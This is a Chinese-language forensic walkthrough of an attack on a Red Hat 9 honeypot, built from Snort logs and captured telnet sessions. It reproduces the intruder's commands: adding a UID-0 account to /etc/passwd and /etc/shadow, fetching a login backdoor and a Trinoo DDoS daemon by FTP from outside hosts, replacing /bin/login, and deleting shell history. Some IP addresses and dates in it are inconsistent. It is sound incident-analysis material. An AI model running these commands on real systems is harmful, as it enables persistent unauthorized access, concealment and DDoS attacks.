|
系统监控:蜜罐分析技术本文我将要讨论的是对一个被入侵的系统进行逐步地研究,而工具和入侵技术不作为重点。我们将集中精力讨论如何把信息拼揍在一起,来分析到底发生了什么事情。我写这篇文章其目的是帮你在安全领域工作中,如何面对企业或组织所遭到的威胁做斗争。 前言 本文我将要讨论的是对一个被入侵的系统进行逐步地研究,而工具和入侵技术不作为重点。我们将集中精力讨论如何把信息拼揍在一起,来分析到底发生了什么事情。我写这篇文章其目的是帮你在安全领域工作中,如何面对企业或组织所遭到的威胁做斗争。 背景 我在这里介绍的信息是通过一个蜜罐技术而获得的。这个蜜罐是安装Red Hat 9的服务器。我对它进行默认安装并没有作出任何修改,所以这里讨论的漏洞都会存在于任何预设安装的Red Hat 9服务器中。另外,所有IP地址、用户账户和终端字符在这里都是真实的,这样做对于验证数据并给予分析有着更好的了解。Snort是我的嗅探器并且对于其灵活性、功能和价格(免费),它也是作为入侵检测系统的最佳选择。入侵者采取的所有行动都会被Snort捕捉。另外,在整篇文章中,入侵者的性别已被确定为女性,至于如何获取入侵者的性别我不会在此提及到。 入侵 在11月26日的早晨6点43分,Snort提醒我,我的一个系统遭到了noop攻击。数据包的有效载荷包含noop,它是一个缓冲区溢出攻击的迹象。在这种情况下,Snort已记下了攻击的记录,它存放在/var/log/messages文件内。注意:172.16.1.107是蜜罐的IP地址。所有其他系统的IP地址均为入侵者所使用的IP地址。 Nov 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 我的蜜罐接受着无数次探测、扫描。然而,这样的提醒使我注意到,它可能表明系统已被破坏。果然,不到两分钟,攻击者就建立了连接,系统日志显示系统被破解。 Nov 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0) Nov 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506) 入侵者获得了超级用户的权限,而且正在控制着系统。这是怎么完成的,究竟发生了什么?我们现在就开始进行分析,把它们拼在一起,一步一步来。 分析
然而我们进行分析过程中,如何知道入侵者从哪里开始的呢?入侵者通常从信息收集开始,他们需要确定目标系统存在什么漏洞。如果你的系统受到了破坏,这通常表明入侵者已不止一次与你的系统进行沟通。入侵之前大部分都涉及一些收集资料的操作。因此,对于入侵者的信息收集阶段,也是我们的开始。 如果我们从上述情报来看,这次入侵发生在53端口。这表明我们的系统遭到了DNS攻击。因此,我会通过Snort开始寻找情报,并寻找DNS信息的探测。我们发现DNS版本探测信息是从同一个系统发来的。 Nov 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53 Nov 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 注意探测的数据,即11月25日。我们的系统是11月26日被攻破,来自同一个系统。而入侵者只花费简短的时间就把系统攻破,我猜测,它是一种自动化工具,是入侵者用来扫描众多系统已知DNS漏洞的工具。扫描后离开,当入侵者审查结果后确定了存在漏洞的系统(包括我们),然后开始她的发挥。现在我们已经拼凑起来了我们故事的第一部分。入侵者11月25日对我们的系统探测,然后第二天该系统被利用。根据我的IDS情报,似乎是由同一个DNS漏洞的脚本小子击中。但她如何发动入侵的,它是如何工作的?请继续看下面。 漏洞 像大多数商业IDS系统一样,Snort可以显示我们的所有IP数据包。我们将使用此功能进行分析漏洞。该漏洞的信息是从Snort的日志获取的(由Tcpdump二进制格式转储)。我没有限制我对主机63.236.81.13的查询,因为入侵者可能使用其他系统。其实是这样的,因为入侵者至少使用三种不同的系统来执行漏洞利用(这是我的经验)。该漏洞的目标是获取远程系统上的一个Root Shell。一旦入侵者获得一个Root shell,她们就可以运行任何root命令,请看下面运行的命令。 cd /; uname -a; pwd; id; Linux apple 2.4.18-1.4 #1 Sun Nov 29 22:21:09 GMT 2009 i686 unknown / uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow echo "hantu::0:0::/:/bin/bash" >> /etc/passwd echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow 入侵者以root身份运行多个命令。首先,她证实了她的系统(uname -a),目录(pwd),然后确认自己的UID(id)。然后她将两个账户twin和hantu都设置为相同的密码。请注意,twin的UID有两个506,hantu的UID有两个0。记住,大多数系统不让UID 0 telnet到窗口中。于是,她创建一个账户,因为她这样就能够远程访问。因此,入侵者将执行Dns漏洞利用从而获得一个root shell,然后插入两个账户。她通过漏洞利用并在telnet窗口中获取root权限仅仅花费了90秒钟。那么,她下一步将作什么? Nov 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Nov 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0) Nov 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506) 获取 幸运的是,Telnet是一种以明文数据传递的协议,数据没有加密。这就意味着我们能够通过嗅探器跟踪和捕获她的所有击键。Snort已经为我们做到了这一点。通过分析捕捉到的telnet会话,我们就如入侵者一样,因为我们捕捉的不仅仅是STDIN(击键),还有STDOUT和STDER。分析telnet会话后并确定了入侵者的活动。 首先,我们的“朋友”telnet(来自于213.28.22.189)到twin,然后获得超级用户hantu。记住,她不能telnet到具有UID 0的hantu,因为对于远程访问这将受到限制。 #' !"'!"# ' 9600,9600'VT5444VT5444 Red Hat Linux release 9 Kernel 2.4.18-1.4 on an i686 login: twin Password: Password: hax0r No directory /home/twin! Logging in with home = "/". [twin@apple /]$ su hantu Password: Password: hax0r 第二步,我们的“朋友”FTP到其它服务器中来拿取她的工具包。 [root@apple /]# ftp 24.112.167.35 Connected to 24.112.167.35. 220 linux FTP server (Version wu-2.5.0(1) Sat Nov 21 16:48:12 GMT 2009) ready. Name (24.112.167.35:twin): welek 331 Password required for welek. Password:password 230 User welek logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> get bj.c local: bj.c remote: bj.c 200 PORT command successful. 150 Opening BINARY mode data connection for bj.c (1010 bytes). 226 Transfer complete. 1010 bytes received in 0.115 secs (8.6 Kbytes/sec) ftp> quit 221-You have transferred 1010 bytes in 1 files. 221-Total traffic for this session was 1421 bytes in 1 transfers. 221-Thank you for using the FTP service on linux. 221 Goodbye. 第三步,她获得了她的后门程序,编译bj.c并安装在/sbin/login以将它替换。请注意所有命令提示符下执行命令的编译。 [root@apple /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c bj.c:16: unterminated string or_character constant bj.c:12: possible real start of unterminated constant 她现在试图执行已编译的后门程序。 [root@apple /]# chown root:bin login chown: login: No such file or directory [root@apple /]# chmod 4555 login chmod: login: No such file or directory [root@apple /]# chmod u-w login chmod: login: No such file or directory [root@apple /]# cp /bin/login /usr/bin/xstat [root@apple /]# cp /bin/login /usr/bin/old [root@apple /]# rm /bin/login [root@apple /]# chmod 555 /usr/bin/xstat [root@apple /]# chgrp bin /usr/bin/xstat [root@apple /]# mv login /bin/login mv: login: No such file or directory [root@apple /]# rm bj.c 可爱的朋友,她这次没有得到正确的结果,再试一次。她从FTP站点重新下载了后门程序。 [root@apple /]# ftp 24.112.167.35 Connected to 24.112.167.35. 220 linux FTP server (Version wu-2.5.0(1) Sat Nov 21 16:48:12 GMT 2009) ready. Name (24.112.167.35:twin): [root@apple /]# ftp 24.112.167.35 Connected to 24.112.167.35. 220 linux FTP server (Version wu-2.5.0(1) Sat Nov 21 16:48:12 GMT 2009) ready. Name (24.112.167.35:twin): welek 331 Password required for welek. Password:331 Password required for welek. Password:password 230 User welek logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> get bj.c qulocal: bj.c remote: bj.c 200 PORT command successful. u150 Opening BINARY mode data connection for bj.c (1011 bytes). 226 Transfer complete. 1011 bytes received in 0.134 secs (7.3 Kbytes/sec) ftp> itit 221-You have transferred 1011 bytes in 1 files. 221-Total traffic for this session was 1422 bytes in 1 transfers. 221-Thank you for using the FTP service on linux. 221 Goodbye. 现在是她编译后门程序的第二次尝试。请注意相同的剪切和粘贴命令使用。 [root@apple /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c bj.c: In function `owned': bj.c:16: warning: assignment makes pointer from integer without a _cast 现在我们看到编译的后门程序已经实施。有效的/bin/login副本移动到/usr/bin/xstat中,而编译的后门程序bj.c用于替换/bin/login,这是后门程序。 [root@apple /]# chown root:bin login [root@apple /]# chmod 4555 login [root@apple /]# chmod u-w login [root@apple /]# cp /bin/login /usr/bin/xstat cp: /bin/login: No such file or directory [root@apple /]# cp /bin/login /usr/bin/old cp: /bin/login: No such file or directory [root@apple /]# rm /bin/login rm: cannot remove `/bin/login': No such file or directory [root@apple /]# chmod 555 /usr/bin/xstat [root@apple /]# chgrp bin /usr/bin/xstat [root@apple /]# mv login /bin/login 现在她开始清除她的活动痕迹。我认为这是一个脚本,剪切和粘贴。看看她执行的所有命令。另外,我确信这是一个“generic”清理脚本,注意它是如何试图删除文件(如/tmp/h)的。 [root@apple /]# rm bj.c [root@apple /]# [root@apple /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/ sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb in/named 359 ? 00:00:00 inetd 359 ? 00:00:00 inetd rm: cannot remove `/tmp/h': No such file or directory rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory [root@apple /]# ps -aux | grep portmap [root@apple /]# [root@apple /]# ps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sbin/namedps -aux | grep inetd ; ps -aux | grep portmap ; rm /sbin/por<grep inetd ; ps -aux | grep portmap ; rm /sbin/port map ; rm /tmp/h ; rm /usr<p portmap ; rm /sbin/portmap ; rm /tmp/h ; rm /usr/ sbin/rpc.portmap ; rm -rf<ap ; rm /tmp/h ; rm /usr/sbin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.ba<bin/rpc.portmap ; rm -rf .bash* ; rm -rf /root/.bas h_history ; rm -rf /usr/s<bash* ; rm -rf /root/.bash_history ; rm -rf /usr/sb in/named 359 ? 00:00:00 inetd rm: cannot remove `/sbin/portmap': No such file or directory rm: cannot remove `/tmp/h': No such file or directory rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory [root@apple /]# rm: cannot remove `/sbin/portmap': No such file or directory 我发现了一些有意思的事情。入侵者通过generic进行清理,但脚本出现了错误,因为它试图删除的文件根本不存在。我认为我们的“朋友”一定看到了这些错误信息,因为她当时在试图手工删除这些相同的文件,即使它们不存在。 rm: cannot remove `/tmp/h': No such file or directory rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory [root@apple /]# rm: cannot remove `/sbin/portmap': No such file or directory rm: cannot remove `/tmp/h': No such file or directory rm: cannot remove `/usr/sbin/rpc.portmap': No such file or directory [root@apple /]# exit exit [twin@apple /]$ exit logout 就这样,我们的“朋友”安置了一个后门程序,即bj.c。完成之后,她就立刻从我的系统中退出了。 返回 此系统遭到破坏之后,我把它脱机并进行数据审查(比如Tripwire)。不过,我在下周看到了各种系统正试图Telnet到此机器上。显然,那个入侵者回来了,最有可能的是会对我的系统进行更多的邪恶活动。所以,我将此破坏过的机器继续接入因特网,好奇地看看入侵者,她会做什么?果然,近两个星期后,她回来了。我再次使用Snort捕捉她的所有按键。看看下面的telnet会话,并研究如何破坏系统,我们将作为Trinoo终端使用。 在12月9日的上午10:45,我们的“朋友”从24.7.85.192发起了telnet会话。注意她是如何使用后门程序绕过身份验证而进入系统的。 !"' #'!"# ' 9600,9600'VT9111VT9111 Red Hat Linux release 9 Kernel 2.4.18-1.4 on an i686 [root@apple /]# ls bin cdrom etc home lost+found proc sbin usr boot dev floppy lib mnt root tmp var 一旦登入系统,她就尝试使用DNS。 [root@apple /]# nslookup magix [root@apple /]# nslookup irc.powersurf.com Server: zeus-internal.uicmba.edu Address: 172.16.1.101 我们的“朋友”FTP到位于新加坡的一个系统并下载一个新的工具包。注意隐藏的目录.s,她创建了存储工具。 [root@apple /]# mkdir .s [root@apple /]# cd .s [root@apple /.s]# ftp nusnet-216-35.dynip.nus.edu.sg ftp: nusnet-216-35.dynip.nus.edu.sg: Unknown host ftp> qquituit [root@apple /.s]# ftpr 137.132.216.35 login: ftrp: command not found [root@apple /.s]# [root@apple /.s]# ftp 137.132.216.35 Connected to 137.132.216.35. 220 nusnet-216-35.dynip.nus.edu.sg FTP server (Version wu-2.4.2-VR17(1) Thu Nov 19 09:21:53 GMT 2009) ready. 她在我们的窗口中插入相同的用户名,从而获得了访问权限。 Name (137.132.216.35:root): twin 331 Password required for twin. Password:hax0r 230 User twin logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> get d.tar.gz local: d.tar.gz remote: d.tar.gz 200 PORT command successful. 150 Opening BINARY mode data connection for d.tar.gz (8323 bytes). 150 Opening BINARY mode data connection for d.tar.gz (8323 bytes). 226 Transfer complete. 8323 bytes received in 1.36 secs (6 Kbytes/sec) ftp> quit 221-You have transferred 8323 bytes in 1 files. 221-Total traffic for this session was 8770 bytes in 1 transfers. 221-Thank you for using the FTP service on nusnet-216-35.dynip.nus.edu.sg. 221 Goodbye. [root@apple /.s]# gunzip d* [root@apple /.s]# tar -xvf d* daemon/ daemon/ns.c daemon/ns [root@apple /.s]# rm -rf d.tar [root@apple /.s]# cd daemon [root@apple daemon]# chmod u+u+x nsx ns [root@apple daemon]# ./ns 入侵者刚刚安装并启动了Trinoo终端。下一步,她试图调换受损的系统。注意,她是如何设置她的VT TERM。这个系统很可能也有一个后门。连接失败,因为DNS不能正常工作。 [root@apple daemon]# TERM=vt1711 [root@apple daemon]# telnet macau.hkg.com macau.hkg.com: Unknown host [root@apple daemon]# exit exit www.2cto.com 我们的“朋友”离开了,只是回到了以前的系统(137.132.216.35),并尝试更多可爱的调皮行为。 !"' #'!"# ' 9600,9600'VT9111VT9111 Red Hat Linux release 9 Kernel 2.4.18-1.4 on an i686 apple /]# TERM=vt9111 telnet ns2.cpcc.cc.nc.us ns2.cpcc.cc.nc.us: Unknown host @apple /}#telnet 1 152.43.29.52 Trying 152.43.29.52... Connected to 152.43.29.52. Escape_character is '^]'. !!!!!!Connection closed by foreign host. te8ot@apple /]# TERM=vt7877 [root@apple /]# telnet sparky.w itoot@apple /]# exit exit 在此之后,不少人认为以此作为傀儡机对其他系统发起攻击,入侵者打算利用此系统从事更多的破坏活动。因此,我关闭了系统。 Dec 9 11:03:20 lisa snort[2370]: IDS/197/trin00-master-to-daemon: 137.132.17.202:2984 -> 172.16.1.107:27444 Dec 9 11:03:20 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1025 -> 137.132.17.202:31335 Dec 9 11:26:04 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:2988 -> 172.16.1.107:27444 Dec 9 11:26:04 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1027 -> 137.132.17.202:31335 Dec 9 20:48:14 lisa snort[2370]: IDS197/trin00-master-to-daemon: 137.132.17.202:3076 -> 172.16.1.107:27444 Dec 9 20:48:14 lisa snort[2370]: IDS187/trin00-daemon-to-master-pong: 172.16.1.107:1028 -> 137.132.17.202:31335 尾声 我已经详细论述了我的蜜罐是如何一步一步被攻破的,起初使用后门程序,最后使用Trinoo攻击。11月25日,入侵者先扫描蜜罐的DNS运行着哪一版本。第二天,也就是11月26日,她执行了NXT-Howto,并成功获得了root shell。她获得了一个root shell之后,就创建了两个系统账户,即twin和hantu。在此之后,她立即打开telnet窗口,获得超级用户的访问权限,然后下载并安置了她的后门程序bj.c。然后她执行一个脚本来掩饰她在系统中留下的痕迹,然后她在几周之后又试图连接我的系统,但它处于脱机状态。最后,在12月9日那天,她进行了访问、安装、然后执行Trinoo。就在此时,我把蜜罐脱机了。 我刚刚涵盖了分析蜜罐的所有步骤。目标是,以确定如何使用入侵检测系统和日志进行分析被攻破的系统。通过这种分析方法,你应该对分析被攻击的系统有更好的理解。如果你想了解更多有关知识,你可以通过Email(Hack01[at]Live.cn)与我交流。 最后我还要感谢所有地下组织成员的贡献,在一些特殊任务中,没有他们的辛勤工作和交流是不可能完成的。 责编:孔维维 微信扫一扫实时了解行业动态 微信扫一扫分享本文给好友 著作权声明:畅享网文章著作权分属畅享网、网友和合作伙伴,部分非原创文章作者信息可能有所缺失,如需补充或修改请与我们联系,工作人员会在1个工作日内配合处理。 |
最新专题 |
|